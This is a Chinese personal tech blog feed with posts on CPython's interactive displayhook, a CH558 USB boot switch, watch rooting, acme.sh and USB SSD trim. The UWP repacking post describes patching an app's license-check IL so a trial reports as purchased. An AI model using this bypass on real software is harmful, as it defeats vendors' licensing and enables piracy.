惊了，引用计数突然就减少了 1 ！此时我的第一想法就是 Python Interactive 会保存上一次执行的结果，马上去搜索了一番（实在不想看代码找问题了）。还真是这样，stackoverflow 上有人说 Python Interactive 会调用 sys.displayhook 把上一次的结果保存到 __builtins__._ 里。

Python 官方文档里是这样说的：

The Python Standard Library » Python Runtime Services » sys — System-specific parameters and functions # sys.displayhook

sys.displayhook is called on the result of evaluating an expression entered in an interactive Python session. The display of these values can be customized by assigning another one-argument function to sys.displayhook.

Pseudo-code:
def displayhook(value):
 if value is None:
 return
 # Set '_' to None to avoid recursion
 builtins._ = None
 text = repr(value)
 try:
 sys.stdout.write(text)
 except UnicodeEncodeError:
 bytes = text.encode(sys.stdout.encoding, 'backslashreplace')
 if hasattr(sys.stdout, 'buffer'):
 sys.stdout.buffer.write(bytes)
 else:
 text = bytes.decode(sys.stdout.encoding, 'strict')
 sys.stdout.write(text)
 sys.stdout.write("\n")
 builtins._ = value

但无论是 stackoverflow 还是 Python 文档都没说这个 sys.displayhook 到底是哪来的，为什么只在 interactive session 里生效。

探寻 sys.displayhook

没有办法，继续从源码里寻找答案。sys 是一个库，直接去对应的 module 里找：

Python/sysmodule.c

static PyObject *
sys_displayhook(PyObject *module, PyObject *o)
{
 // ...
 /* Print value except if None */
 /* After printing, also assign to '_' */
 /* Before, set '_' to None to avoid recursion */
 if (o == Py_None) {
 Py_RETURN_NONE;
 }
 if (_PyObject_SetAttrId(builtins, &PyId__, Py_None) != 0)
 return NULL;
 outf = sys_get_object_id(tstate, &PyId_stdout);
 if (outf == NULL || outf == Py_None) {
 _PyErr_SetString(tstate, PyExc_RuntimeError, "lost sys.stdout");
 return NULL;
 }
 if (PyFile_WriteObject(o, outf, 0) != 0) {
 // ...
 }
 if (newline == NULL) {
 newline = PyUnicode_FromString("\n");
 if (newline == NULL)
 return NULL;
 }
 if (PyFile_WriteObject(newline, outf, Py_PRINT_RAW) != 0)
 return NULL;
 if (_PyObject_SetAttrId(builtins, &PyId__, o) != 0)
 return NULL;
 Py_RETURN_NONE;
}

这正是 Python Interactive 交互的表现！通过 dis 的结果来看，当我们“运行”一条变量，它是这样的：

>>> dis('a')
 1 0 LOAD_NAME 0 (a)
 2 RETURN_VALUE

返回值就是 a ，所以在屏幕上也打印了它的值。

但问题是，为什么只有在 interactive 的情况下，才会去触发 sys.displayhook 呢？换言之，是谁在调用 sys.displayhook？

水落石出：一条特殊的 opcode

直接运行 python ，就可以进入它的交互模式。所以这次从 main 一路跟进，直到这里：

run_mod -> _PyAST_Compile -> compiler_mod:

Python/compile.c

static PyCodeObject *
compiler_mod(struct compiler *c, mod_ty mod)
{
 // ...
 case Interactive_kind:
 if (find_ann(mod->v.Interactive.body)) {
 ADDOP(c, SETUP_ANNOTATIONS);
 }
 c->c_interactive = 1;
 VISIT_SEQ_IN_SCOPE(c, stmt, mod->v.Interactive.body);
 break;
 // ...
}

这里给 compiler 设置了一个 c_interactive 选项，于是在后面：

Python/compile.c

static int
compiler_visit_stmt_expr(struct compiler *c, expr_ty value)
{
 if (c->c_interactive && c->c_nestlevel <= 1) {
 VISIT(c, expr, value);
 ADDOP(c, PRINT_EXPR);
 return 1;
 }
 // ...
}

这里填加了一个 opcode PRINT_EXPR，而它的作用就是：

Python/ceval.c

case TARGET(PRINT_EXPR): {
 _Py_IDENTIFIER(displayhook);
 PyObject *value = POP();
 PyObject *hook = _PySys_GetObjectId(&PyId_displayhook);
 PyObject *res;
 if (hook == NULL) {
 _PyErr_SetString(tstate, PyExc_RuntimeError,
 "lost sys.displayhook");
 Py_DECREF(value);
 goto error;
 }

就是把当前栈上的值 value 弹出来，然后调用 sys.displayhook(value) 把它打印，再保存进 __builtins__._ 里。

结语

Python 的源码量真的很庞大，初看很容易摸不到头脑。相比之下 Go 的源码里注释就写得特别好，很多地方逻辑也很简单，很容易上手（当然也因为 Go 又简单又屎）。

CH558 OS Switch

Sat, 10 Jul 2021 00:00:00 +0000

在 Hackaday 上看到了 Hardware boot selection switch 这个项目，作者用 STM32 模拟出一个 U 盘，通过读取硬件开关的状态返回不同的内容，从而让 grub2 启动不同的系统。

最近 STM32 涨价涨得太厉害，一片 F103 也要几十块钱。有同学推荐了国产的 CH558 ，价格只需要两三块钱，于是入手了 CH558T 来尝试一下。手边有很多没用掉的 SSOP20 转接板，所以买了这种封装的芯片。

国产单片机的最大劣势就是生态不好。厂商能提供一份 Datasheet 和几个糊出来的示例程序，剩下的资料就要靠各种论坛上搜了，不过也不一定能搜得到。arm 架构的也许有 CMSIS 用？像这种 51 改造的 8 位单片机，基本就是直接操作寄存器了。 CH558 和 CH559 的硬件规格大致相同，网络上有 CH559 模拟 U 盘的程序下载，但那份程序里状态机貌似写的有些问题，在 Windows 下对一些错误的容忍度比较高，不过在我的电脑开机时， BIOS 读取信息时就会卡死，还是需要动手改造一下再用。

USB 协议比较好的参考资料就是 usb.org 上的各种文档。由于很多细节涉及到硬件上的操作，还是建议结合他人的程序深入理解。首先把 usb 和电脑的基础沟通部分做好，让 endpoint 能够正常通信，再去把 Mass Storage Class 的状态机写出来。我使用的是 Bulk-Only Transport + SCSI Transparent Command ，要写好 BBB 的操作和 SCSI 命令的处理。最后把文件系统的相应函数写好，可以用 FAT12 这样简单的文件系统减少负担。一次写一层，每一层都用相应的工具进行检验调试。

读取 GPIO 是非常简单的，因为只在开机时读取一次 GPIO 状态，所以也完全不用考虑滤波的问题。

最后还是要吐槽一下，如果让我重新来过，我就去用 rpi pico 或 esp32 做。 Pico SDK 里面的 raw usb device 示例中，都有一堆库函数在做底层的操作，如果想偷懒还可以直接用 TinyUSB 写好的 MSC 代码。 ESP32 部分型号不支持 USB 功能，用 risc-v 处理器的可能示例比较少，也需要再留意一下。如果非要用 CH558 ，建议用 LQFP48 封装的版本。 SSOP20 的版本有些蛮重要的引脚被砍掉了，比如 UART0 。 UART1 没被砍，但操作起来竟然和 UART0 是不一样的。

macOS hook Objective-C 程序

Sun, 09 May 2021 00:00:00 +0000

摸了，改天再记一下。主要是记一下不是类成员的 objc 函数和 c 函数的 hook

macOS 更改程序的设置文件

Sun, 09 May 2021 00:00:00 +0000

原因： cfprefsd 这个进程在后台运行，可能在维护着一层缓冲结构。

三种解决方法：

调用 defaults 程序改设置
killall cfprefsd
注入这个程序，写代码改掉。

App 设置文件存放的路径：

sandboxed: ~/Library/Containers/(bundle-identifier)/Data/Library/Preferences
non-sandboxed: ~/Library/Preferences

HUAWEI Watch 1代国际版固件装国行商店

Wed, 05 May 2021 00:00:00 +0000

我在 Android Wear 2.0 的时候借机会把国行的 watch 刷成了国际版，因为国行能玩的东西太少了。不过现在看来，国行商店里的 app 貌似更好用，于是就研究着怎么给它同时装一个国行商店。

首先在 Android SDK 官方镜像里提取一个国行商店的旧版 apk ，直接 adb 装入。打开时闪退，开 logcat 看日志：

E DatabaseUtils: java.lang.SecurityException: com.mobvoi.ticwear.aw.appstore was not granted this permission: android.permission.WRITE_SETTINGS.
...
E AndroidRuntime: java.lang.RuntimeException: Unable to create application com.mobvoi.ticwear.aw.appstore.AppStoreApplication: java.lang.SecurityException: com.mobvoi.ticwear.aw.appstore was not granted this permission: android.permission.WRITE_SETTINGS.
...

大概查了下资料，尝试手改 /etc/permissions/platform.xml 失败，因为 SELinux 的标志位总设置不对。又看到如果是系统 app ，即放在 /system/app 或 /system/priv-app 里也可以，于是想办法把它转换一下。

装 Magisk 21.4（22版有 bug ，难道是被 Google 招安后不想认真做了 2333），调整手表分辨率，再安装 Lucky Patcher 把它转换为系统 app 就可以了。

惊喜的是，旧版的商店后来自己更新成了新版。可惜这个手表已经老了，很多程序同时运行会非常卡，电池也不太够用，最后还是只装了几个常用的 app 。

OMEN Command Center 逆向

Sat, 24 Apr 2021 00:00:00 +0000

先在 98 发一下，改天挪过来

RPC Patch
ACPI WMI
WMI in DSDT

阿里云国内 ECS acme.sh 更新证书出错

Sun, 04 Apr 2021 00:00:00 +0000

最近几天半夜总收到阿里云的域名解析删除通知邮件，感觉 HTTPS 证书更新应该有点问题，上号看一下。因为: acme.sh 现在用被墙的 CloudFlare 和 Google 的 DoH 服务器检查 DNS 是否被设置正确，但是因为这两个服务在国内都被墙了，所以更新证书的程序运行失败了。

在 acme.sh 的 Github Repo 中可以看到：acmesh-official/acme.sh, acme.sh

#domain, type
_ns_lookup() {
 if [ -z "$DOH_USE" ]; then
 _debug "Detect dns server first."
 if _ns_is_available_cf; then
 _debug "Use cloudflare doh server"
 export DOH_USE=$DOH_CLOUDFLARE
 else
 _debug "Use google doh server"
 export DOH_USE=$DOH_GOOGLE
 fi
 fi

 if [ "$DOH_USE" = "$DOH_CLOUDFLARE" ] || [ -z "$DOH_USE" ]; then
 _ns_lookup_cf "$@"
 else
 _ns_lookup_google "$@"
 fi

}

开发者没有留自定义 DoH 服务器的接口，貌似也没留其他查 DNS 的方式。解决倒是很容易：

直接在 acme.sh 的参数后加 –dnssleep 300 ，直接假定 DNS 设置正确。当然 300s 很长，可以调小一些。阿里云的 DNS 解析服务调个 20s 左右就可以了。
把 acme.sh 里 DoH 服务器的地址换掉，如阿里 DoH ：https://dns.alidns.com/dns-query 或 DNSPod DoH https://doh.pub/dns-query 。

钉钉回放的 m3u8 报 403 错误

Sun, 04 Apr 2021 00:00:00 +0000

因为现在 m3u8 文件只能访问一次。

最开始的时候网络上还没有钉钉下载回放的相关文章，现在随便搜一下就全都是，所以想着要搞这一波吧。不过也是偷个懒，设置了这样的缓解措施。

为天猫精灵方糖调整MTU设置

Sat, 22 Aug 2020 10:09:33 +0800

昨天翻出很久没有用过的天猫精灵，恰好最近买了路由器，联网很方便，就把它拿出来玩一玩。开机、连接Wi-Fi、蓝牙连接手机都很顺利，但它貌似没有连接上淘宝的服务器。每次用天猫精灵语音指令时，它都会响应超时，说一句“一走神，连您的吩咐都听岔了”。

MTU(Maximum Transmission Unit)是数据链路层上所能通过的最大数据包大小。如果数据包过大，就要求在 IP 层进行分片传输。

校园网使用 L2TP。L2TP 有 20 (IP Header) + 8 (UDP Header) + 12 (L2TP Header) = 40 bytes 的额外数据需要传输，所以要将 MTU 下调至 1460 。

UWP应用：Repacks & Hacks

Tue, 12 May 2020 00:00:00 +0000

今天遇到了需要修改 UWP 程序的情况，步骤比较繁杂，在此记录一下。

Repacks

获取程序文件

appx 文件可以通过抓包的方式直接获取下载地址。我在搜索过程中发现了很多相关的教程，都比较老了，有些地方变动比较大。

首先 Microsoft Store 会产生一个到http://dl.delivery.mp.microsoft.com/filestreamingservice/files/{GUID}/piecehash的请求，确定程序版本、哈希、分段等信息。然后在http://tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/{GUID}?P1={}&P2={}&P3={}&P4={}分段下载文件。只要访问 URL ，就可以下载到完整的 appx 。

直接打开应用的安装目录（在C:\Program Files\WindowsApps\下），把所有文件复制出来。如果不能直接打开这个文件夹，可能需要调整文件夹的高级安全设置，加入当前用户的访问权限。事实证明，对于我测试的一个程序来说，在打包之后它确实能够运行，所以这也可以算是一种可行方法吧。

解包

使用makeappx.exe unpack /p foo.appx /d unpacked /l对 appx 进行解包，得到的目录结构如下：

如果makeappx报错，很有可能抓包得到的是 App Bundle 。根据文件头可知其为一个 zip 文件，里面的内容有不同分辨率的资源文件和 x64 、 x86 两个架构的程序文件。Unbundle 命令为makeappx.exe unbundle /p rest.appxbundle /d unpacked。

原安装包留下的不必要的结构有：AppxSignature.p7x文件和AppxBlockMap.xml文件（指出文件实际位置信息的xml）。直接把这些文件删除就可以。

重新打包

为了能正常安装 appx 程序包，我们必须准备一个用于签名的证书。在 Powershell 中，执行

# 制作自签名证书，记录输出的证书指纹
New-SelfSignedCertificate -Type Custom -Subject "CN=Contoso Software" -KeyUsage DigitalSignature -FriendlyName "Your friendly name goes here" -CertStoreLocation "Cert:\CurrentUser\My" -TextExtension @("2.5.29.37={text}1.3.6.1.5.5.7.3.3", "2.5.29.19={text}")
# 使用密码方式导出
$password = ConvertTo-SecureString -String <Your Password> -Force -AsPlainText
Export-PfxCertificate -cert "Cert:\CurrentUser\My\<Certificate Thumbprint>" -FilePath <FilePath>.pfx -Password $password

打开AppxManifest.xml，将Identity节点中的Publisher属性改为刚刚制作的证书中的Subject值，如CN=Contoso Software。之后就可以打包、签名了。

makeappx.exe pack /d unpacked /p repacked.appx /l
signtool.exe sign /fd SHA256 /a /f mycert.pfx /p "mycertpassword" repacked.appx

signtool中指定使用 SHA256 的原因是makeappx默认使用SHA256。

Hacks

如何让一个正在试用中的应用认为它已经被购买？对于 dotnet 程序，微软在Windows.Services.Store中提供了StoreAppLicense类作为应用可以获取到的返回值类型。在官方示例中，说明了其用法：

StoreAppLicense license = await storeContext.GetAppLicenseAsync();
if (license.IsActive)
{
 if (license.IsTrial)
 {
 LicenseMode.Text = "Trial license";
 }
 else
 {
 LicenseMode.Text = "Full license";
 }
}
else
{
 LicenseMode.Text = "Inactive license";
}

StoreAppLicense.IsActive 和 StoreAppLicense.IsTrial 都是只读的属性，所以修改它们需要用到反射。但很幸运的是，我要修改的程序中自己封装了一个用来获取许可的类，也提供了相同名称的两个只读属性。在 C# 中，属性的get和set都是函数，所以可以直接修改它们的IL代码强制其返回指定的布尔值，达到欺骗程序的目的。

处理 UWP 程序相对来说比较困难。它不允许直接启动，事实上 Visual Studio 在调试 UWP 程序时，会先将其安装到系统中，目前我还没有找到很好的动态调试的方法。其次 XAML 交互部分的代码中可能存在大量匿名函数，对程序的修改工作制造了一定的阻碍。

参考

在云服务的对象存储上部署网页

Wed, 26 Feb 2020 00:00:00 +0000

因为把博客部署在 VPS 上带宽实在他小了（只有 1M ），访问体验十分不好，于是就迁移到了对象存储 + CDN 的模式。嘿，速度上去了，费用反而下降了。尤其腾讯云还在搞活动，如果只是小量的访问就是不要钱啊~

迁移经历

阿里云和腾讯云大致相同，只不过有些名称和操作细节上不太一样。比如阿里云的对象存储叫 OSS ，腾讯云的叫 COS 。总之在两边都要都要设置对象存储为静态网页模式，把路由搞好。迁移的时候最好用子账户进行操作，控制权限的同时方便日后自动化部署。

阿里云

进入访问控制台新建一个用户，再进 OSS 控制台赋予其全部权限就好了。

最开始的时候我在用如下的自定义权限策略，比较复杂，现在只配置一点点简单服务的情况下不建议这么做。

{
 "Statement": [
 {
 "Action": "oss:*",
 "Effect": "Allow",
 "Resource": [
 "acs:oss:*:*:bucket_name",
 "acs:oss:*:*:bucket_name/*"
 ]
 }
 ],
 "Version": "1"
}

腾讯云

进入访问管理控制台新建一个子用户并生成一对 API 密钥，也是进 COS 控制台给它权限。

上传脚本

写了个 nodejs 脚本，每次写完东西直接就上传了，很方便。

阿里云： https://github.com/determ1ne/node-aliyun-oss-deployer

腾讯云： https://github.com/determ1ne/node-tencent-cos-deployer

部署前端

如果是静态前端的话，也直接上传就好了。不过之前用 antd pro 时， API 的反向代理就不能用了，因为 OSS 不支持 POST 方法。不知道有没有啥别的解决方法，但是我就不再用代理了，乖乖配了相关的配置，比如 cors 。

在 Docker 中运行 ROS Desktop

Sat, 22 Feb 2020 00:00:00 +0000

Dockerfile 下载： https://github.com/determ1ne/ros-dekstop-nvidia-docker

想配置一个 ros 的环境确实挺麻烦， ros 的开发人员也许想到了这一点，所以在官方 wiki 上就有写了一半弃坑的教程 Using GUI’s with Docker 和写完的的教程 Using Hardware Acceleration with Docker 。

仿照着做的时候，总提示 glvnd 的问题，于是干脆拉了一个 nvidia 的 glvnd 镜像作为 base ，之后也用 nvidia-docker 运行容器，说不定之后改成包含 CUDA 的镜像也很简单。基本方法和 wiki 上的 The isolated way 大致相同，只不过加了一些 nvidia 相关的东西。

至于 gazebo7 ，首先需要关闭 Qt 的 MIT-SHM 才能正常运行： QT_X11_NO_MITSHM=1 gazebo 。不过由于 gazebo7 还会联网下载模型，这段时间窗口会保持黑屏，我以为是 bug 。。不过 gazebo9 是完全可以正常使用的，就没有再折腾了。

还有一个比较有意思的事就是如何在 docker 不同阶段构建时保持不同的网络环境。我最后使用了 V2Ray 控制路由，对国内和国外不同服务器的连接使用不同的网络线路，获得最快的构建速度。

Linux 下在 USB 固态硬盘上开启 trim

Thu, 20 Feb 2020 00:00:00 +0000

？

因为课程要使用旧版本的 ros ，为了免去不必要的麻烦就在 USB SSD 上装了 Ubuntu 16.04 LTS 。本来没有什么问题，在改 /etc/fstab 中的 EFI 分区时突然发现这块固态硬盘上没有开 trim ，于是尝试用 fstrim 手动 trim 一下，结果报了错。

$ sudo fstrim -v /run/media/azuk/ssd
fstrim: /run/media/telgar/ssd: the discard operation is not supported
$ lsblk --discard /dev/sdb
NAME DISC-ALN DISC-GRAN DISC-MAX DISC-ZERO
sdb 0 0B 0B 0
├─sdb1 0 0B 0B 0
└─sdb2 0 0B 0B 0

！

我的 NVMe 硬盘盒通过 USB 3.0 接口接到电脑上，是通过 USB Attached SCSI (UAS) 协议完成通信的。 SCSI 中并没有 trim 这个 ATA 命令，只有与之对应的 SCSI 命令 unmap 。而看起来我的硬盘盒并不支持通过 SCSI/ATA Translation 将 trim 翻译为 unmap ，所以需要在 udev 里配置一下了。

。

首先，用 lsusb 获得设备的 Vendor ID 和 Product ID 。

$ lsusb
...
Bus 004 Device 002: ID 0bda:9210 Realtek Semiconductor Corp. RTL9210
...

创建 /etc/udev/rules.d/50-usb-ssd-trim.rules ，对应自己设备的 ID 输入一条规则：

ACTION=="add|change", ATTRS{idVendor}=="0bda", ATTRS{idProduct}=="9210", SUBSYSTEM=="scsi_disk", ATTR{provisioning_mode}="unmap"

重新插上设备，就能看到创建的规则生效啦！

$ lsblk --discard /dev/sdb
NAME DISC-ALN DISC-GRAN DISC-MAX DISC-ZERO
sdb 0 512B 4G 0
├─sdb1 0 512B 4G 0
└─sdb2 0 512B 4G 0
$

然后就像普通的 ssd 一样用 fstrim 就好了。

＊

References:

https://www.glump.net/howto/desktop/enable-trim-on-an-external-ssd-on-linux https://bbs.archlinux.org/viewtopic.php?id=244636 https://wiki.archlinux.org/index.php/Solid_state_drive#External_SSD_with_TRIM_support https://wiki.archlinux.org/index.php/Udev

Gossip on Azuk's Blog

Docker sshd 镜像

实现联通 IPTV 认证

STB 登录

tempkey 的算法

容器化 OpenLDAP 迁移

修改 7-Zip 的文件夹选择对话框

背景

DLL Proxy ：不可行

7z 插件方法：可行

DockerHub 反向代理 Missing x-amz-content-sha256

MSVC Ignores Empty Initializer List in C

Cross Compiling Dropbear for Android(API 23) with Auto Run on Boot

Compiling

Set up on Android

Set up NumPy dev env with VSCode debugging

Compile Python with debug build

Set up NumPy dev env

Debugging C code

Debugging Python code

Dll Proxying

对 Windows TSF 的一些想法

Edge B站卡死

Ubuntu 将 /tmp 挂载为 tmpfs

C++ dtor 和虚表指针的一个讨论

MathType 因字体名称过长而崩溃的 Bug

让微信崩溃的二维码

Conda 多用户配置

将 native library 打包进 jar 里

Tensorflow Java 1.14.0 的 bug

JSCIP 的编译和打包

报错日志

某软件 2.5 破解版中问题的修复

MSVC 在简体中文 Windows 下的编码问题

Fixing Mamba for Multiple User Environment

Arch Linux 下将 Hostapd 仅当作 Radius 服务器使用

华为昇腾的 NPU 真的不好用

NPU 生态初探

产品分商业版和社区版

版本混乱

1. 大版本号乱变

2. RC 版与正式版间产生大幅度改动

3. mindspore 发布的正式版依赖了还没有发布的 CANN 版本

4. 为了使用不同的框架，你需要安装一堆 CANN ，甚至是 RC 版

Mindspore 软件质量差

pytorch 使用麻烦

文档稀碎

设备贵

OpenWrt 用 hostapd 作为 Radius 服务器配置 WPAx-EAP 认证

相关软件编译

Radius 服务器配置

配置网络使用 Radius 服务器

LDAP+SSSD 部署

选择 openldap 与 sssd 的理由

openldap server 的配置

设置 hostname 和 FQDN

设置 openldap server

创建证书

配置 openldap server 使用证书

openldap 客户机配置

配置 sssd 认证登录

在 LDAP 上创建用户并测试

SSH 配置

LDAP Server

Client

Linux 向局域网内设备分享网络

服务器 a 上的设置

使用 nftables

如果服务器上还装了 ufw

使用 firewalld

网络 C 路由器上的配置

后记

Python Interactive 中 __del__ 的奇怪行为

一个简单的问题

一番困难的研究

减少引用计数的过程

调用 __del__ 的过程

从引用计数下手

探寻 sys.displayhook

水落石出：一条特殊的 opcode

Python Interactive 中 del 的奇怪行为

调用 `del` 的过程